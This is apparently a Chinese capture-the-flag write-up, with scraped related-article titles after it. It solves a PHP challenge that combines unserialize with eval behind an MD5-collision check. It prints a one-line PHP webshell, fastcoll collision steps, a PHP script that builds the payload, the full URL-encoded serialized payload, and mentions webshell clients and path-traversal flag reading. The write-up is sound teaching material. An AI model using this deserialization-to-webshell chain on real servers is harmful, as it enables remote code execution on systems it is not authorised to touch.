源码:

<?php
show_source(__FILE__);
class CDUTSEC
{public $var1;public $var2;function __construct($var1, $var2){$var1 = $var1;$var2 = $var2;}function __destruct(){echo md5($this->var1);echo md5($this->var2);if (($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2))) {eval($this->var1);}}
}unserialize($_GET['payload']);Notice: Undefined index: payload in /var/www/html/index.php on line 24

代码审计:
看上去是一道经典的md5碰撞题目,var1与var2原值弱比较不等md5编码后强比较相等。
根据这句eval($this->var1);我们发现我们的字符串不仅要能够实现md5碰撞以绕过,而且还必须实现命令注入。
在这里我们利用fastcoll来帮助我们实现这一步。
解题:
我们先写一个一句话木马:@eval($_POST["cmd"]); ?>
然后我们将shell.txt文件拖拽到我们fastcoll程序上,得到两个txt文件,这两个txt文件内容不一样,但是它们的MD5值是一样的。
接着我们利用反序列化构建我们的payload:

<?php
class CDUTSEC{public $var1;public $var2;
}$tr = new CDUTSEC();
$tr->var1 = file_get_contents('C:\\Users\\86138\\Downloads\\shell_msg1.txt');
$tr->var2 = file_get_contents('C:\\Users\\86138\\Downloads\\shell_msg2.txt');echo urlencode(serialize($tr));

代码运行生成:O%3A7%3A%22CDUTSEC%22%3A2%3A%7Bs%3A4%3A%22var1%22%3Bs%3A192%3A%22%40eval%28%24_POST%5B%22cmd%22%5D%29%3B+%3F%3E%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F8%C1n%04%EF%03%EA%EFx%B4%BA%B4tn%05%2A%E9L%ADJ%8B%14Z%B62%86%849-%A6%A5%0C%B8%D1%12%CA%DE%A8o%CD%EB%29%5CZ%CFc%40%81%10%25%3Af%BFUu4%07%CEXD%AEA%93%B5%2CA%0E%E6%BB%99%40%EFWp%3A%3D%DE%E8J%05%D1%E2%81.%E2%1E%93N%7E%C7%8B%DB%5BLg%C1d%94%BC%09%82%B3%9A%FE%97%C3g9%FD%26Rc%FEj%F4%09%A4HZ%EF%91%29%1F%C1%2FC%04%7E%22%3Bs%3A4%3A%22var2%22%3Bs%3A192%3A%22%40eval%28%24_POST%5B%22cmd%22%5D%29%3B+%3F%3E%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F8%C1n%04%EF%03%EA%EFx%B4%BA%B4tn%05%2A%E9L%AD%CA%8B%14Z%B62%86%849-%A6%A5%0C%B8%D1%12%CA%DE%A8o%CD%EB%29%5CZ%CF%E3%40%81%10%25%3Af%BFUu4%07%CEX%C4%AEA%93%B5%2CA%0E%E6%BB%99%40%EFWp%3A%3D%DE%E8J%05%D1%E2%81%AE%E2%1E%93N%7E%C7%8B%DB%5BLg%C1d%94%BC%09%82%B3%9A%FE%97%C3g9%FD%A6Qc%FEj%F4%09%A4HZ%EF%91%29%1FA%2FC%04%7E%22%3B%7D
利用我们生成的payload,我们进行传值测试:

接着就是常规地获取flag的操作了,这里利用蚁剑\菜刀,或者readfile('../../../../../../flag');都行。

利用fastcoll实现MD5碰撞相关推荐

  1. 使用fastcoll进行md5碰撞,两个不同的文件md5值一样。

    生成两个文件 fastcoll_v1.0.0.5.exe -p C:\windows\notepad.exe -o D:\notepad1.exe D:\notepad2.exe 比较 md5 校验是 ...

  2. md5碰撞介绍及工具,并对百度网盘进行碰撞

    md5碰撞介绍及工具,并对百度网盘进行碰撞 前言 什么是MD5 什么是MD5碰撞 md5碰撞 常见的碰撞法 差分攻击 构造前缀碰撞法 快速 MD5 碰撞生成器使用方法 百度网盘md5碰撞攻击 总结 参 ...

  3. 逆向工程实验——pre9(可执行文件的加密MD5碰撞lab)

    目录标题 1.阅读 2.阅读 3.阅读 4.阅读下面这三篇文章: 5.MD5 Collision Attack Lab Task 1:使用相同的MD5哈希值生成两个不同的文件 问题1:如果前缀文件的长 ...

  4. 【网络攻防技术】实验三——MD5碰撞实验

    一.实验要求 本次实验主要是加深大家对MD5碰撞及其原理的理解,使用SEED实验环境中的工具及编程语言,完成以下任务: a)使用md5collgen生成两个MD5值相同的文件,并利用bless十六进制 ...

  5. CTF_Web:php弱类型绕过与md5碰撞

    0x00 前言 md5碰撞只是一种掌握php弱类型的方式,弱类型的内容有很多,数组.字符串比较等等,但不论以哪种方式考,涉及的知识点都是相通的,希望通过对基础知识的分享与大家一同学习进步. 0x01 ...

  6. 利用域名(host碰撞)碰撞实现从任何地方发起中间人攻击(理论篇)

    简述 相比大家对中间人劫持的攻击相当了解,尤其是局域网中的中间人攻击.有很多的利用手段比如ARP投毒.DNS投毒.ICMP重定向等等,这类的文章在网上非常的多.但是今天要讨论的是一个全新的中间人攻击方 ...

  7. 首发不同文件的md5碰撞真正方法——有图(视频教程加工具)非暴力碰撞!

    首发不同文件的md5碰撞方法(视.频教程加工具)-非暴力碰撞! 网上的MD5碰撞工具都是碰一个文件变两个的!没有碰撞两个不同文件MD5的方法! 其实碰撞两个不同文件的MD5的方法很简单!王小云都说过只 ...

  8. MD5碰撞和我眼中的MD5

    MD5的全称是Message-Digest Algorithm 5(信息-摘要算法5),是一种用于产生数字签名的单项散列算法,在1991年由MIT Laboratory for Computer Sc ...

  9. md5 collision(md5碰撞)

    题目来源:南京邮电大学网络攻防训练平台 Web题 md5 collision 解题过程: 点开题目标题,呈现在眼前的是一段php代码,代码如下: $md51 = md5('QNKCDZO'); $a ...

最新文章

  1. ARP协议详解之ARP动态与静态条目的生命周期
  2. 为了在元宇宙里摸到东西,扎克伯格整出了一款新电子皮肤,成本6美元
  3. lucene LZ4 会将doc存储在一个chunk里进行Lz4压缩 ES的_source便如此
  4. make工具和Makefile基础语法(含有交叉编译、pthread_create()的处理)
  5. 钉钉机器人怎么设置自动回复_项目部署成功后触发钉钉机器人发送消息提醒——入门配置...
  6. 一个数据仓库转型者眼中的数据挖掘
  7. snort简介以及在Ubuntu下的安装
  8. android webview缩放功能,在Android WebView中启用/禁用缩放
  9. 基于MATLAB波的叠加仿真模拟
  10. TFTP文件传输NFS挂载ARM开发板移植Linux系统步骤
  11. 区块链中的POW是什么
  12. Open mv识别三角形的办法
  13. openflow初学者入门笔记一(openflow 1.0 and openflow 1.3)
  14. Tomcat的访问及修改端口号
  15. Beta冲刺-星期四
  16. fatal error: opencv2\core\core.hpp: No such file or directory
  17. Pyspark 读 DataFrame 的使用与基本操作
  18. 【牛客网】---字符集合
  19. Ubuntu18.04 安装Proverif 和Syther_tool
  20. 二维弹性波FWI源码和可执行程序

热门文章

  1. 利用百度EasyData智能标注并下载方法
  2. 如何网上打印中山市个人社保缴纳证明
  3. 360文档服务器怎么登陆,360移动开放平台
  4. 2018年世界杯赔率预测
  5. 最简单的私有云搭建方法:宝塔+kodexplorer
  6. 百度云身份证识别以及获取身份证信息
  7. FPGA分频器的实现( 50M分为5M)
  8. 【CAD】关于命令行乱码问题
  9. matlab指令vpa(j10),MATLAB指令集(最新整理)
  10. linux下二级代理软件desproxy教程